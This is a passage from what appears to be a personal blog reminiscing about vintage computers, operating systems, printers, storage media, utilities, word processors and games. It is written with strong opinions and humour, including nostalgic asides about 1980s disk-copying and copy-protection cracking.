A performance-tuned version of Apple DOS.
Apple ProDos 1.0, 1.1 Apple ProDos 8 Apple ProDos 16
ProDos was the eventual replacement for Apple DOS 3.3. ProDos supported fancy features...like sub-directories on a disk. However, ProDos was larger and slower. Given that the Apple ][ never got a significant performance boost in its entire 16 year history, it was difficult for ProDos to catch on and be popular on that platform. I still prefer DOS 3.3 myself. However, ProDos did eventually shine on the Apple ][GS platform where bigger drives and faster processors were common.
GEOS
A lightweight graphical OS built for resource-constrained 8-bit computers like the Apple ][ and C-64. It had windows and word processors and graphic editors and mouse support and allowed 8-bit computers to rival the functionality of the Macintosh. It was probably the pinnacle of technical achievement for 8-bit computers...but it still died right along with them.
MS DOS 3.3, 4, 5, 6, 7
The dreaded ubiquitous lame Operating System that became the defacto standard for the IBM PC computer. It features a command-line interface that offered very few useful commands, and it responded to all errors with the infamous (A)bort, (R)etry, (F)ail. "Retry" never works and there is no meaningful difference between "Abort" and "Fail".
PC DOS
IBM's MS-DOS compatible Operating System. PC-DOS and MS-DOS are no longer supported. And yet both IBM and Microsoft forbid you to distribute these Operating Systems without paying exorbitant fees. This has spawned the creation of FreeDos
SCO Unix
One of my first jobs out of college was to write an Ada wrapper around X-Windows libraries. We did our work on SCO Unix, because it was one of the very few Unix platforms that could run on a modest Intel computer. At the time, I really liked SCO. 10 years later, SCO sold its soul (I think literally) to Microsoft and executed a suicide attack against IBM. IBM was damaged but emerged victorious, and now SCO is dead.
NeXTSTEP
This OS was 10 years ahead of its time. It was everything Linux should have been, and everything Mac OS/X eventually became. Mac OS/X is a direct descendant of NeXTSTEP.
Solaris Unix
In my opinion, this is the greatest commercial version of Unix ever created, and the greatest server OS in existence today. This is the pinnacle of mankind's achievements in the field of Operating System. However...it is also fairly expensive and tends to favor proprietary hardware. Companies have discovered that in most cases the features of Linux will suffice, so they don't need to buy Solaris.

The sad story of Linux is that Linux did FAR more damage to commercial Unix than it ever did Windows and Microsoft. You will see a recurring theme in computing history where great innovations only hurt other great innovations, and nothing hurts Microsoft...because it innovates nothing.
Vax/VMS
I used this heavily in college. It was a pretty decent command-line OS with a couple of powerful (but odd) scripting languages. One cool feature I especially remember was that VMS automatically versioned your files. You could always go back to an earlier version of any document or any file. This was an automatic feature built-in at the OS level and completely transparent to the user...at least until you filled up all the disk space in your user account. :)
HP 3000 MPE-XL
The Operating System for the immortal HP 3000 minicomputer.
Windows 2.0, Windows 3.0
The early versions of Windows were especially lame, and little more than fancy DOS utilities.
Windows 3.1, Windows for Workgroups 3.11
These were the first versions of Windows that people started to take seriously. Microsoft leveraged their DOS Monopoly to make Windows 3.1 common place in Corporate America...much to the dismay of Apple who had a better Windowing OS earlier. This was a brilliant (and so probably accidental) plan on Microsoft's part. They built a Windowing utility to make the old DOS easier to use. Then, once people are hooked on it and locked into it, they made it part of the Operating System so as to have inter-locking Monopolies. Then they made the browser part of the Operating System, and so on.

Microsoft has redefined what the term "Operating System" means to encompass all kinds of software that are not OS components.

Compare this with Linux where Linux is just the OS, and Desktop Managers (like Gnome and KDE) are separate products.
OS/2
The last great challenger of the Operating System wars. It was better than Windows 95 before Windows 95 was ever released. Of course, that doesn't matter when you are up against Microsoft. With the death of OS/2, it became apparent that making a commercial Operating System that could compete with Microsoft was impossible. No matter how good your product is, you can't crack a monopoly.

So, non-commercial products, like Linux, are now the only alternative. See: http://dogic.blogspot.com/2005/06/software-changes-everything.html
Coherent
Coherent was the first affordable version of Unix that could run on an Intel platform. It was famously advertised in all trade journals for $99. I bought a copy, and I thought it was the coolest thing ever...except for the fact there isn't much you can do with a version of Unix that nobody writes software for, and there just wasn't enough popular Unix apps ported over to Coherent.
IBM AIX
Ah, the cutting edge of obsolete technology. This is a flavor of Unix mangled by IBM. But since it carries the IBM name, it is popular with the die-hard IBM shops that still use IBM mainframes and DB2.
HP/UX
HP/UX is like a big train that has run out of fuel but is still coasting along on its momentum. Passengers are actively flinging themselves out of the moving cars and rather than starving to death waiting for this train to stop.
Windows95a, b, c
Probably the best versions of DOS ever made.
Windows 98, 98SE
98SE was the high-point of the "Windows 4.0" line of operating systems. We joked that "SE" stood for "Stable Edition". There were about 3 other flavors of "Windows 98" that were all crap.
Windows ME
Generally referred to as the "Money Edition". (Or more recently as "Vista Beta"). This release of Windows had no purpose other than to get a new product on the market to generate some more sales for Microsoft. Windows ME was a historic disaster...for the consumer. It still made money for Microsoft because everyone who bought a computer that year was forced to pay for a copy of ME. It was terribly unstable, flaky, and poorly designed. Microsoft never took the time to fix it, and users with computers running ME were effectively abandoned. I fear the same thing will happen with Vista. People who have bought a computer in the past two years will be stuck with an OS that nobody (including Microsoft) wants to support.
Windows NT 3.1, 4.0
Microsoft borrowed a lot of ideas of Linux for their Windows NT kernel, and it showed. It was fairly stable (for a Windows platform) and could do multi-tasking reasonably well. All around, it was "Not Terrible".
Windows 2000
This was the OS that was supposed to combine Windows NT's multi-tasking kernel with Window 98's enhanced GUI. This way there would be one unified version of Windows instead of two. Well, that's great, but Microsoft then proceeded to sell Windows 2000 in FOUR different flavors: Professional, Server, Advanced Server, and Datacenter Server. Well, thanks Microsoft! :( Microsoft benefited from a unified Windows code base, but the general public did NOT.
Windows XP
There was a time when Windows XP was so crappy and unstable that it became knows as "Extreme Patching" for all the constant patches you had to apply to keep it running. However, after 4 solid years of patching, XP has finally become pretty darn stable and reliable. And it begs the question: Why on EARTH would I want to start all over again with buggy Vista? Take whatever cool UI features Vista has and just add them to XP!
RedHat Linux
Beware an Open Source product made by a company that becomes publicly traded and profit driven. I never know what to think about Red Hat. Sometimes they are the good guys, and sometimes they are the bad guys. The name "Red Hat" is the perfect name for this company, because they are half-way between white-hat and black-hat.
SUSE Linux
I used to love SUSE Linux until Novell bought out SUSE and then sold-out to Microsoft.
Gentoo Linux
Gentoo: Powered by your own self-satisfaction. Gentoo is a fascinating version of Linux if you've ever wanted to see what it's like to build an entire Linux distribution from source code. However, for people who want to get more done in a week than just getting their computer to boot, you will want to stick to the pre-built versions of Linux.
Ubuntu
My first impression of Ubuntu was "Damnit, why do we need yet ANOTHER flavor of Linux!?". But after seeing Gentoo fall out of popularity, and seeing SUSE Linux embrace Microsoft, I begrudgingly thought "Well, alright, I guess we do need a new torch-bearer for the Linux cause."

I still think Linux would have been far more successful if there was just ONE distro that all these developers could pour their energy into, and just one desktop manager that everyone would agree on. The whole point of Open Source is that independent developers can compete with corporate developers if they all band together and work as a team. But that never happens, and so Open Source software still remains out on the fringe where only techies use it. Firefox was the closest thing I've seen to a mainstream software package that even non-techies were starting to use in great numbers. BUT now Google has come out with Chrome which will steal more market share and more developers from Firefox than it will steal from Microsoft.
Macintosh Systems 1 through 9
For the longest time, Apple continued to serve its little niche market with their own custom Operating Systems written from scratch...mostly in Pascal!
Mac OS/X
With the fall of OS/2 and the rise of Linux, I think Apple started to realize that nobody can ever compete with Microsoft in the proprietary Operating System market. The only way to get a good library of software written for your computer (without using a Microsoft OS) is to embrace the Open Source community and tap the efforts of volunteer developers. That's a good idea, but yet again (do you sense the repeating theme of this whole blog?) the Open Source developers fragmented as Apple chose FreeBSD over Linux. To any degree that FreeBSD succeeds, it will take more market share from Linux than Microsoft.
Notably and intentionally absent from my list: Windows Vista. At best this is another disaster like Windows ME. At worst it is a serious erosion of consumer rights.

Display Technologies

Teleprinter
Before monitors and keyboards, you communicated with a computer (a mainframe usually) using a one of these devices that are essentially 2-way typewriters. I used one of these heavily for about 3 months. Teleprinters also were the pioneering platform for ASCII ART
Computer Terminals
Before there were personal computers, there were all manner of dumb terminal technologies that allowed many people to use a central mainframe via text-based interfaces. These text terminals often did more than just display text. They also responded to special escape sequences that could move the cursor and draw special characters and even change the text color.

You would think that just one or two terminal standards would cover everything you could possibly do with text...but nooooooo...everyone wanted some tiny little change or some new feature, and they wrote whole new protocols to support it. There were a ton of display standards, but the ones I remember using are: IBM 3270, VT05, VT-50/52, VT-100, VT-102, VT-220 ANSI

The command-line interface has always been the "sweet spot" for most cost-effective and efficient human-to-computer interface. Modern graphical Operating Systems have made computers a bit easier to use, but they are absolute beasts in terms of system resources they consume and in terms of the decades of effort it has taken to develop these monsters. If you want to get the most out of your computer, the command-line still rules. :)
Monochrome Monitors
For the first 5 years of my computing experience, color graphics was a luxury most people (including myself) could not afford.
Monochrome Display Adapter
The very first display adapter for the IBM PC. It had no graphics capabilities at all. This was exceedingly lame for 1981 when most computers had at least SOME graphics display ability.
Television Set
Most of the first home computers (Apple, Tandy, Commodore) were designed to use a common television set as your display monitor. This also gave you some limited ability to display color. But the resolution and clarity was poor, generally leading to a maximum of 40 columns of fuzzy text across the screen.
Hercules Graphics
A wildly popular video card for the early PC platform. It was a bridge between monochrome text and CGA graphics. If you couldn't afford a color monitor, a Hercules card would emulate CGA using shades of your monitor's 1 color. Color monitors where prohibitively expensive for the early PC's.
CGA
The first PC standard for computer graphics. Soon after CGA came EGA, and then, VGA, and then SVGA, and then XGA, and by then the public was completely confused and nobody could figure out what kind of video they had or needed or wanted. From that point on, all PC display technologies became known generically as "VGA", even though additional standards such as SXGA, UXGA, QXGA, WSXGA PLUS, etc. kept rolling out. Once you get to 1600x1280 at 16 million colors (which almost any new computer can do) there's rarely any point to go higher. That's higher than HD quality. If you have some kind of gigantic video screen, it's easier and cheaper to handle that by using multiple video cards and/or multiple computers.

Printers

IBM Selectric
Not really a printer, but later models of the IBM Selectric had a serial port (seriously) so they could be used as a printer. This was the finest typewriter of its day, and I used one in a typing class in High School. My generation is probably the last to have used typewriters in school. :)
Daisy Wheel Printer
For a while, these gave dot matrix printers a run for their money, because the text they produced was so much clearer.
Apple Image Writer, AppleImage Writer II
Dot Matrix printers made by Apple. These were serious workhorses of supurb quality and durability. Many are still in use today!
Continuous Feed
For the first 15 years I used computers, paper was always fan-fold continuous feed (a.k.a. tractor-feed).

Paper that came in packs individual cut sheets was lame! That was something your grandma would use for her typewriter! If you wanted professional printouts, you could buy micro-perf varieties of fan-fold paper that would leave a smooth edge after you remove the tractor-feed strips.

I never thought single-sheet paper would make a comeback...but boy did it! Now it has become difficult to find fan-fold paper!

As much as I like modern printers, I still miss the convenience of having the gigantic box of fan-fold paper feeding a printer. I never had to worry about running out of paper so long as I checked the box maybe once a month. And actually, the overall cost was much cheaper too. One print ribbon could be bought for 1/10th of what an modern inkjet cartridge costs, and that print ribbon would last for thousands of pages, not just hundreds. On the Apple Image Writer, you could always do the trick of spraying WD-40 into the ribbon "bunching" area of the cartridge and that would extend the life of the ribbon by another several hundred pages.

If it wasn't for the fact that people don't print nearly as much as they used to, I bet dot-matrix would stage a small comeback in a bad economy.
Line Printer
We used these in college a LOT for printing out source-code listings. These printers were like a regular dot-matrix printers, except the print head was 15 inches wide and could print an entire line at once (on wide green-bar paper). The noise level was extreme, so these printers had to have heavy sound shielding.
Apple Scribe
A dot-matrix printer that didn't use ink, but instead printed on thermal paper. Perhaps this was a good idea for cash registers, but not for everyday business use. The paper smelled funny, and if the paper got hot it turned black.
HP Laser Printer
Laser Jets have dominated the business market since the early 90's. They cost less to operate (in the long run) than inkjet printers. For the first several years, HP ruled the market place. If you wanted a Laser printer, the only question was whether you wanted the HP LaserJet II or HP LaserJet III. Now laser printers are such a commodity that nobody really notices what brand they are.

Storage Media

Cassette Tape
The first personal computers (including my first computer) could use a simple tape recorder for loading and storing programs. This was unreliable and slow. Trying to store data on a cassette tape was more of a hobby than a legitimate way to store information.
Floppy Drive
This is the invention that really MADE the personal computer. Computers just weren't very useful unless they could STORE things, and the floppy drive made that possible. My favorite drive of all time is the original Apple Disk ][. I have many of these drives that are over 30 years old, and they still run perfectly.
Corvus Drives
One of the early hard drive makers for personal computers. They generally came in 5 Meg and 10 Meg models, and cost around $4000 in 1980 money. (ouch!) Corvus also "pioneered" the technology of making hard drive backups to VHS tape. That never really caught on...partly because people don't want to keep their computer near their television set. Many technologies and died trying to bridge the gap between T.V. and Computer.
Sider
5Meg or 10Meg Drive (5.25" drive). This was the first practical and affordable hard drive for the Apple. It was a fraction of the cost of a Corvus drive. I had the 10 Megabyte drive. It operated at about 800 RPM (no that's not missing a zero), but this did not limit the speed of the Sider nearly as much as the fast that the Apple was only a 1Mhz computer. The Sider was, at best, 2 times faster than a floppy drive. But this was still a highly coveted piece of technology as Apple software quickly crossed the 140k floppy barrier. The think I remember most about the Sider was the noises it made. Modern hard-drives buzz and rattle because they move so quickly. The Sider moved so slowly that it would chirp and "thweep" and "woop" and make almost musical noises.
Bernoulli Box
Very expensive predecessor to the Zip Drive
Zip Drives
This is the last dying gasp of the magnetic floppy disk drive. It was fairly popular in the late 90's, but has ultimately replaced by optical drives and flash drives. The Zip disks did not have a stellar reliability record. They were know for dying with a noise that was dubbed The Click of Death
Jaz Drives
Similar to the Zip drive, only the Jaz drive was an actual hard-drive that had an ejectable platter. This sounded like a great idea...until everyone eventually remembered WHY hard drive platters have to be kept sealed. Hard drive platters are extremely sensitive to dust and humidity and static. Jaz disks had short life-spans and were unreliable.
Tape Drive Tapes
At some point in my life, I have owned Travan, QIC, and Ditto tape drives. In my head, I can still clearly hear the noise back-and-forth whirring (WEEEEEE-heeeee-WEEEEEEE-heeeee) of these slow and marginally reliable devices. Tape Drives died off very quickly once hard drives started to become too big to backup on any kind of low cost tape mechanism. If you want to backup your drives today, you are pretty much limited to either burning a tall stack of DVD's or buying another hard drive for backup storage.

Audio Devices

1 bit speaker
The Apple ][ had 1-bit sound. You accessed a memory location that caused the speaker to "click", and if you clicked fast enough you could generate a buzz or a tone. If you clicked in complex patterns you could generate sound effects. There was no volume control. The speaker was just permanently loud. Early computers also had no separate processor for sound, so the CPU had to manage the sound of a game while also managing the animation and inputs.
4 voice Mockingboard
The first real sound card for the Apple II. I think the success of the Apple II is due in large part to its expandability. The graphics and sound of the Apple II were awful, but you could always buy sound card and video card upgrades, much like a modern PC. Other early computers had little to no hardware expandability, and generally used hacks and kluges to attach new hardware through the system game ports.
Applied Engineering Phasor Sound Card
I had one of these for my Apple ][. All I really remember about it is that the demo program played an impressive 16-voice version of Foggy Mountain Breakdown. (Yes, that is Steve Martin on the 2nd banjo)
Sound Blaster16-bit
For nearly two decades, the audio capabilities of a computer were a serious factor to be considered when buying a computer. Companies like Creative Labs made a great business out of developing expansion cards for PCs that could produce better and better quality sound. But eventually Creative Labs hit their limit with the Sound Blaster 32-bit/Sound Blaster Live. These cards could produce CD-quality sound or better, so there were no more upgrades possible. Eventually the hardware for making 32-bit sound became a commodity, and everyone stopped caring about sound cards. Only audiophiles and people running high-end audio processing applications pay attention to PC sound hardware anymore. Everyone else just looks for the green, pink, and blue audio jacks. =)
Electromagnetic radiation
The strangest sound system of all time has to go to the PDP-8. The PDP-8 had no sound system at all. However, the PDP-8 did emit a huge amount EM radiation. It would never pass FCC standards today. If you tried to listen to an AM radio anywhere near a PDP-8, your radio station would be drowned out by all the static and electronic chatter generated by the PDP-8.

Well, someone noticed that certain operations on the PDP-8 would produce bursts of noise that sounded somewhat like a fuzzy tone. If you altered the operations of the CPU, you could vary pitch of the tone. Using this technique, music programs were written for the PDP-8 that would play songs over your AM radio by having the PDP-8 execute loops of instructions that generated "tones" of EM radiation. Here are a couple of YouTube videos demonstrating the PDP-8's music ability. They have to be seen to be believed: A PDP-8/e - This includes a demonstration of a teleprinter. Also notice that the circuit breaker trips the first time this guy tries to turn the computer on. :) A PDP-8L - This video is in German, but you can kinda understand what they are saying. It's also a good demo of the PDP paper-tape drive. The PDP-8 was a little before my time, but I have personally used a PDP-8...for about 30 minutes. That was enough to get me hooked on this absolutely fascinating machine.

Misc.

Demoscene
The demoscene was one aspect of the 1980's revolution in individual technical achievement. These were the days when two guys in a garage could invent a new computer, or one programmer could write a video game that became an international hit. The demoscene arose out of friendly competitions between small groups of programmers to see who could make the coolest and most artistic demos by pushing the sound and graphics of their chosen platform to the limit. Today, there's almost nothing impressive you can do with a computer that wouldn't require an army of software developers and artists to accomplish...and so the demoscene is dead. Likewise I doubt anyone will ever invent a new computer in their garage again.
PDAs
Between 1996 and 2001, I went through a "PDA phase" where I bought about 5 different PDAs before finally realizing they weren't useful. I've owned several models of Palm Pilot, IPaq, and CLIE. They are all collecting dust now. I eventually decided that I was not about to store important data on a device that could easily be broken or stolen or lost. Backup software for the PDA was awful and impractical, and the applications were always highly proprietary which make it impossible to move your important data to another application or any other brand of PDA.

As a standalone device, the PDA just wasn't that practical until they finally started having live internet access as a feature. In theory, you should be able to access your data (phone numbers, address, passwords, etc.) from a secure internet server instead of trying to pull it up from the PDA using some crappy proprietary PDA application. By keeping your data on the internet, that also allows you to access your data from any PDA, smartphone, or desktop PC that has a browser. Your data is not dependent on any device, and cannot be stolen or lost. Your data can be exported in XML or text for portability.

However, this is all theory, because I have not yet found an online internet database that is free, trustworthy, easy to use, and usable on a tiny screen. So I wrote my own. It's a regular Java Web Application that stores all my data on an Apple ][. (Seriously.) The Java Web Application make a connection over an RS-232 port to a Web Service (written in Assembly) running on an Apple ][. So I essentially have an Apple ][ 5.25" floppy disk that I can access from the internet. :)

Legendary Utilities

The Print Shop
In its day, Print Shop was da bomb!! It was the "must have" program if you owned a printer. People who never considered buying a computer bought one just to have Print Shop. It allowed you to combine text and graphics with various pre-fab templates. It also came with a library of pre-made graphics, and it could print big banners on your fan-fold paper. Print Shop is still sold by Broderbund. It's now on version 22 (I kid you not). But it's not such a popular program anymore. People found other ways to do fonts and graphics...and nobody uses fanfold paper anymore, so banners are a hassle.
Dalton's Disk Disintegrator
This was one of several disk-splitting utilities that allowed you to split the contents of a disk into a few large binary files (complete with CRC-32 checks). This was useful for uploading software to pirate sites. :)
Copy II+
Operating systems on early computers were super-primitive, and didn't offer easy ways to mass copy files between disks, or copy a whole disk, or browse the contents of text files, or compare files, etc. The command-lines of early computers were a joke. (The command-line for Windows still IS a joke.) So a cottage industry of utility software for file management was born.
Disk Copy Utilities
All through the 1980's there was an arms race between software vendors and software pirates. There were lots of highly sophisticated copy programs that could do low-level copies and crack all manner of encoding schemes software vendors would use for making their disks difficult to copy. On the Apple ][ and C64, the disk drives were controlled by software, not hardware, and that allowed for some especially ingenious tricks to make disks uncopyable. Essential Data Duplicator, Locksmith, Disk Muncher, and Nibbles Away were the three top software programs for analyzing and cracking disks so they could be copied. These weren't simply little utilities...these were major software packages, often complete with their own development environments and programming languages. Breaking protected and encrypted software was a very serious (and time-consuming) hobby for a great many computer geeks (including me).

As with song-swapping and movie pirating today, I can make good arguments on both sides as to why this is or isn't harmful, why it should or shouldn't be legal, and whether it is or isn't even possible to stop. But since this issue has been with us since the late 70's, I just don't see it going away anytime soon. We'll be fighting this one in the courts and in public opinion for decades to come.
Beagle Brothers
Sort of the "Apache" of the 1980's. They made every manner of cool and useful software utility.

Stacker, DiskDoubler
For a brief couple of years in the PC revolution, hard drives were the most expensive component of a computer, and hard drive space was a precious resource. Stacker and DiskDoubler became two wildly popular software programs that would transparently keep all the data on your drive compressed. Everyone used them...to varying degrees of success or data corruption. :)
Memory Expanders and Extenders
The original 8088 CPU had a 20-bit address space, which meant it could access only 1 megabyte of memory. When IBM build the first PC, they reserved the top 384K of range for peripheral I/O and video, leaving a maximum usable memory size of 640K for the IBM PC. Legend has it that Bill Gates claimed nobody would ever need more than 640k. Whether Bill actually said that is a matter of debate, but for certain a lot of people at IBM must have been thinking that. (Or they thought the PC would go away in 2 years and be replaced by something completely different.) As DOS programs grew, the 640K limit soon became too restricting, and all manner of hackery and trickery was invented to expand the memory space of the 8088. The first trick, called Expanded Memory, allowed access to the unused parts of the upper 384k reserve. The next trick, called Extended Memory, allowed DOS to access memory ranges above 1MB...but only on Intel 80286 and higher processors. The most common expanded memory driver was called EMM386, and the most common extended memory driver was called HIMEM. Quarterdeck made a famous memory manager called QEMM, but then Microsoft countered with Memmaker, and built Memmaker right into MS-DOS 6.0...this killing Quarterdeck's market share.

Here is the general pattern:
  1. A company innovates something Microsoft doesn't have (because Microsoft NEVER innovates)
  2. Microsoft makes their own version of this product, and builds it into the OS that everyone has to buy anyway.
  3. Microsoft's version may not even been as good as the competition, but if it works, people will use it because it's "free".
  4. Microsoft slowly raises the price of their OS with each release to pay for all these goodies.
  5. Microsoft wins, and everybody thinks Microsoft is giving away these programs for free.

I'm reminded of the scene in The Matrix where Morpheus is sparring with Neo and he says "Do you think that's air you're breathing right now?" except the question I want asked is "Do you think that's free software you're running right now?" Nothing in Windows is free: not the Browser, not the Media Player, not the CD Burner, not the folder compression, not anything. Microsoft could be selling a $50 Operating System if you could buy these things separately...but you can't.
After Dark Screen Saver
Atari made the first screen savers for the Atari 2600, Atari 400 and Atari 800. At the time there was some benefit to trying to prevent burn-in on older CRT monitors. However, once screen savers hit the mainstream on Mac's and PC's, the whole world just went NUTS over screen savers! There was the Star Trek screen saver, the Garfield screen saver, the Duran Duran screen saver, the Classic Car screen saver, and of course "After Dark" which was known for its Flying Toasters screen saver. I can remember working at one job where we had a server that would slow to a crawl after 30 minutes. Whenever the admins would go look at the server, it would start running fast again. Then 30 minutes later it would crawl again. The cause turned out to be...you guess it...a screen saver that was kicking on every 30 minutes and doing complex 3-D animations.
Procomm
The best modem terminal program ever made for the PC
Proterm
The best modem terminal program ever made for the Apple
Ascii Express
The first full-featured modem terminal program for the Apple ][. It supported a scroll-back buffer (ooooo!) and it could transfer files with X-Modem or Kermit! (aaaaah!)
Pixiterm
I have no link references for this jewel. Pixterm was the first graphical BBS software. Instead of sending text, it sent vector commands to draw graphics on your screen. (You had to be running the Pixterm client to interpret these commands.) You had pictures and graphical text combined. This was the first glimpse of what the Web would eventually look like. Pixiterm was way ahead of its time.

Word Processors

vi
This is an example of the power of a standard. Vi is sure not the best editor there is, but it's the one that comes with every Unix/Linux OS. So if you learn to do everything with vi, you can't go wrong.
Magic Window
A very, very early word processor. It was so old that it actually emulated the behavior of a typewriter. Your cursor remained FIXED in the very center of the screen at all times and the whole page would move right to left as you typed. If you went up or down, the whole page moved up or down, but your cursor never moved. It's actually a really neat way to edit a document, and probably would feel 100% natural to someone used to using a typewriter.
BankStreet Writer
This was a very popular word processor for early computers. It was designed for school kids, but its dead-simple interface also appealed to adults who were otherwise intimidated by computers.
EMACS
The jokes was that EMACS stood for "Escape Meta Alt Control Shift", in reference to EMACS's heavy reliance on complex function key sequences to accomplish anything useful. If you could copy and paste a paragraph in EMACS, then a Mortal Kombat Fatality should be easy by comparison.

The Golden Age of WYSIWYG Word Processors: 1988 - 1993

Once upon a time, there was competition among word processing software. There was variety and choice. Today, there is only Microsoft Word and any free software that can try to emulate Microsoft Word.

Graphic Writer //gs
The first graphical WYSIWYG word processor I ever used. It had all the basic features you'd really need in a Word Processor. Since then, Word Processors has increased in size by roughly 10,000%, while only adding maybe 20% more useful features.
WordStar (for Windows 2.0)
WordStar is a serious OLD school word processor. It was one of the first. It was originally a text-based word processor that used text markup to control fonts and formatting...almost exactly like HTML.
AMI-Pro
An awesome word processor that stored documents in an readable and parsable markup format. It was absolutely brilliant...right until Microsoft Word put them out of business.
WordPerfect 5.1, WordPerfect 6
This was the top-notch professional Word Processing software of its day. It was pretty much THE standard for word processing in its day. Now it's just another road kill on the monopoly highway to Redmond.

Games

If I listed every game I've ever played, this would be a gigantic list. So I've paired this down to the key games that were especially memberable.

Text-only games

DECWAR
A text-based multi-player real time action game based on Star Trek. I kid you not. The game would draw a text grid showing a character for your ship and other special characters for other ships, and as fast as you could type commands to move, turn or fire, they would happen. Faster typers won this game. Rich kids who had 1200 baud instead of 300 baud REALLY whooped up on everyone. You could play Federation or Klingon, and you'd fly your ship around (by typing) and you could dock at bases and attack enemy ships. You could also attack an enemy base and eventually convert it to a friendly base.

It was a surprisingly full featured game. You could push your engines past their limits if you wanted to move really fast...but you risked burning them out by doing that. You could just pretend that Scotty was yelling "They can't take much more of this!!" Likewise you could crank your phasers past their limits too, and even ram into an enemy ship if you were really desperate. Needless to say these battles were quite dramatic and exciting! (And this was all in text!)
Dungeon
This was the first RPG game. It was written in FORTRAN (seriously) and ran on PDP-10 and PDP-11 computers. It was the precursor for Zork.
Rogue
A text-based RPG game. My favorite version was a later derivative of Rogue called Larn. This was a really fun RPG game, and it was text-only. Really!
MUDs
This was a text version of a massive multi-player RPG. It was just like World Of Warcraft, except nothing was visual. Everything was described in text. So, it required more imagination. But that made it fun! Since everything happened real-time, you had to be a fast reader, and you had to pay attention! Large battles could cause a mass of text to go whizzing by, and sometimes you wouldn't notice you were in trouble. Sometimes you wouldn't even notice that you had died! Often times I had to do a search of my scrollback buffer to find the words "You died."
Hunt
The text equivalent of a first-person shooter. You walked around a maze that you viewed from the top. Your character would be either a < or > or ^ or V depending on which way you were facing and which direction you could see. People could sneak up on you if you didn't happen to be looking in the direction they were coming from. In the maze, there were ammunition packs you could pick up, and you had weapons of various sizes that you used by pressing the keys 1 through 6. You moved about using the keyboard. If all of this sounds familiar, it should, because this is exactly the way all first-person shooter games work today.
Zork
The Alpha and Omega of text adventures. Everyone is too spoiled by eye-popping graphics for another text adventure to ever succeed. That's too bad.

Graphical games (in no particular order)

Sea Dragon
The was one of only two games ever that managed to produce speech through the Apple ]['s 1-bit sound system.
Alien Syndrome
You are fighting an alien race that apparently evolved from water balloons. But that makes the game SO fun and playable! The aliens are super-easy to kill, and when you shoot them they don't just die...they POP with a very satisfying squishy sound!
Captain Blood
A highly original game with killer graphics and sound. This is also the first Sci-Fi game to really acknowledge that the whole Universe does NOT speak English. So, you spend a great deal of time in this game doing this and this. You communicate using a symbolic language made of all these pictures. After playing this game long enough, I became fluent in that language...and it messed with my head. Someone would ask "How's it going Bert?" and I would think something like "Gasaid lada lacdaf-lacdaf-lacdaf!" and then have to translate THAT into English before speaking!
Pirates
I'm attacking another ship, and my crew is down to 5 men, and the enemy crew still consists of 250 men...but if I win a sword fight with their captain, the 250 crew surrenders in terror. Ya right. But it was still a highly original and fun game. If you could master the sword fighting aspect of the game, you could win any battle practically by yourself.
Alien Mind
This game was fun, but it was a SERIOUS downer. First of all, the intro music is a sad song played in a minor key. That really sets the mood. You are on a space station that is overrun by aliens. (Well, really one big alien who sends lots of robots to attack you.) There are so many dead bodies laying around the space station that one of the skills you need to master in this game is running without tripping over them. Every time you trip over a dead body it slows you down, and that's the last thing you want since you will spend the entirety of this game being chased by killer robots.

You have a friend who is on the space station and who is still alive, but you can't find him. You can only talk to him through secret messages he sends to specific terminals in the station. Each message he sends is more desperate than the last. You hurry and hurry and hurry...and you finally find him...just in time to watch him DIE. You kill the final big alien and win the game, but you don't care. And then come the credits with yet another song in a minor key. Thanks a lot Game!
Altered Beast
The above link is kinda funny. This game was a cutting-edge side-scroller for its day. It was so advanced that it distracted you from the fact that this game is absolutely ridiculous. You kick monsters in the shin until they explode and you kill white two-headed dogs to get steroid pills.
Thexder
Transformers meets Bobobo-bo Bo-bobo. You could transform into either a plane or a robot, and for a while this seemed like a pretty cool arcade game. But then the game became increasingly weird and increasingly Japanese...and you would find yourself blasting through killer olives and walls made of smiling top hats and all manner of stuff that didn't make sense.
Castle Wolfenstein
This is the game that started EVERYTHING. This silly game spawned Wolfenstein 3D...which spawned Doom and Quake and every other first-person shooter you've ever heard of.
Bilestoad
Most bizarre, hilarious and scary game EVER! You try to escape each level by using teleportation circles and flying discs, but you are hunted by an axe-wielding killer robot. As the robot catches up to you, he appears as a dot on your radar...closing in on you fast...all the while the song "In the Hall of the Mountain King" is playing...which heightens the tension. If you can't find a teleport disk or find a way to out-run him, you'll have to fight the robot. And fighting the robot is surprisingly bloody and gory for an early 80's game.
Battle Chess
This should make the list of "Top ten cool things mankind couldn't do before computers were invented".
Winter Games , Summer Games
Sports games? On a COMPUTER? Actually, these were really fun games that were huge hits...even if the only "sport" was finding out how fast you can type two keys back and forth in rapid succession.
Ultima I, II, III, IV
After Ultima 4, Ultima was no longer fun because it became TOO realistic. It became as boring and tedious as real life. You had to deal with the weather, sleep, becoming ill, earning money, replacing worn-out items, etc. Somewhere along the way the game makers forgot that Ultimas were fun because they were action games, not simulation games.
Rescue Raiders
In this game, you command a military base...from a helicopter. The problem is the enemy always has tons of surface-to-air missiles, so you can't fly your helicopter up to the front line of the battle. This means all the best action is always happening off screen where you can't see it. The solution? Cheat mode! In cheat mode, this game is awesomely fun!
Dungeon Master GS
The first 3D RPG game ever! It was absolutely incredible, and very well written. Lots of fun. They are planning on making an updated version of Dungeon Master for the XBox 360 and Playstation 3. I'll have to check that out!
Bards Tale, Bards Tale 2: Destiny Knight
Classic RPG games. Very popular and lots of fun.
Doom, Doom II, Doom III
I was an avid online Doom II player around 1995. We did not play over the internet (because the latency was too high), but rather we had to call up a local site that hosted several Doom II servers. I was ranked #3 in the KC Metro for a while, and then I finally beat the #2 guy three games in a row...and he threw a severe temper tantrum and literally freaked out. I really thought he was gonna hurt himself. I lost interest in the game after that.
Quake
I never liked Quake as much as Doom, because Quake is too reliant on special items. It's no longer a game of how well you can aim and move and shoot, but rather how well you run around to all the secret locations and hog all the power-pills and special abilities. With Doom II, all I needed was the shotgun and nothing else!
Xenophobe
This was a really cool arcade game that was ported to many platforms. It had really advanced graphics and sound and a good multi-player system...and that makes it mind-boggling bizarre to know that Atari ported this game to the Atari 2600 in 1990!! If you remember Xenophobe, you have to click on that link above. It's hilarious. I don't know how someone could seriously play this game on the 2600. I mean...dang...why don't you port Quake to the Atari 2600 while you are at it? It would be just about as playable.
Little Computer People
The first computer "pet"...sorta a precursor to "The Sims"
Arkanoid, Arkanoid 2
The game "Brickout" makes a brief but glorious comeback!
Silent Service
We played this alot in college. I won 8 cases of Dr. Pepper over a long series of bets playing this game. :)
Silpheed
